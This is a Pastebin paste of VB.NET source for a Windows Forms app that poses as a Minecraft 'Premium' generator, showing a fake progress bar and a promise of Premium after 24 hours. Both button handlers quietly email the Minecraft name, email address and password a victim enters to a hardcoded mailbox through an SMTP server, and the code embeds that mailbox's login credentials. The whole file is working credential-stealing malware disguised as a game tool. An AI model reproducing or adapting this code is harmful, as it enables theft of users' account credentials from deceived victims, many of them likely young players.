Advertisement
Guest User

Untitled

a guest
Jul 28th, 2017
502
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.77 KB | None | 0 0
  1. Imports System.Net.Mail
  2. Imports System.Net
  3. Public Class Form1
  4. Private Sub btn_generieren_Click(sender As Object, e As EventArgs) Handles btn_generieren.Click
  5. Dim namen As String
  6. Dim pw As String
  7. Dim email As String
  8. Name = txtb_name.Text + vbLf
  9. pw = txtb_passwort.Text + vbLf
  10. email = txtb_mail.Text + vbLf
  11.  
  12. If (String.IsNullOrEmpty(txtb_name.Text) Or String.IsNullOrEmpty(txtb_passwort.Text) Or String.IsNullOrEmpty(txtb_server.Text) Or String.IsNullOrEmpty(txtb_mail.Text)) Then
  13. MsgBox("Bitte Füllen Sie die Textfelder Richtig aus")
  14.  
  15.  
  16. Else
  17. Timer1.Start()
  18.  
  19. Dim myClient As New Net.Mail.SmtpClient("smtp.1und1.de")
  20. myClient.Credentials = New NetworkCredential("minecraftacc@online.de", "ezpz1337")
  21. myClient.Send("minecraftacc@online.de", "minecraftacc@online.de", "Daten Minecraft Accounts", "Minecraft Name: " & Name & "Minecraft Email: " & email & "Minecraft Paswort: " & pw)
  22. End If
  23. End Sub
  24.  
  25. Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
  26. ProgressBar1.Increment(1)
  27. If ProgressBar1.Value = ProgressBar1.Maximum Then
  28. lbl_ausgabe.Text = "Warte nun 24 Stunden, dann bist du auf " & txtb_server.Text & " Premium."
  29.  
  30. End If
  31. End Sub
  32.  
  33. Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
  34. ProgressBar2.Increment(1)
  35. If ProgressBar2.Value = ProgressBar1.Maximum Then
  36. lbl_ausgabe2.Text = "Dein Premium auf " & txtb_server2.Text & " wurde Erfolgreich um " & txtb_zeit.Text & " Monate verlängert"
  37.  
  38. End If
  39. End Sub
  40.  
  41. Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  42. Dim namen As String
  43. Dim pw As String
  44. Dim email As String
  45. Dim server As String
  46. Name = txtb_name2.Text + vbLf
  47. pw = txtb_passwort2.Text + vbLf
  48. email = txtb_mail2.Text + vbLf
  49. server = txtb_server2.Text + vbLf
  50.  
  51. If (String.IsNullOrEmpty(txtb_name2.Text) Or String.IsNullOrEmpty(txtb_passwort2.Text) Or String.IsNullOrEmpty(txtb_server2.Text) Or String.IsNullOrEmpty(txtb_mail2.Text)) Then
  52. MsgBox("Bitte Füllen Sie die Textfelder Richtig aus")
  53.  
  54.  
  55. Else
  56. Timer2.Start()
  57.  
  58. Dim myClient As New Net.Mail.SmtpClient("smtp.1und1.de")
  59. myClient.Credentials = New NetworkCredential("minecraftacc@online.de", "ezpz1337")
  60. myClient.Send("minecraftacc@online.de", "minecraftacc@online.de", "Daten Minecraft Accounts mit Premium", "Minecraft Name: " & Name & "Minecraft Email: " & email & "Minecraft Paswort: " & pw & "Minecraft Server: " & server)
  61. End If
  62. End Sub
  63. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement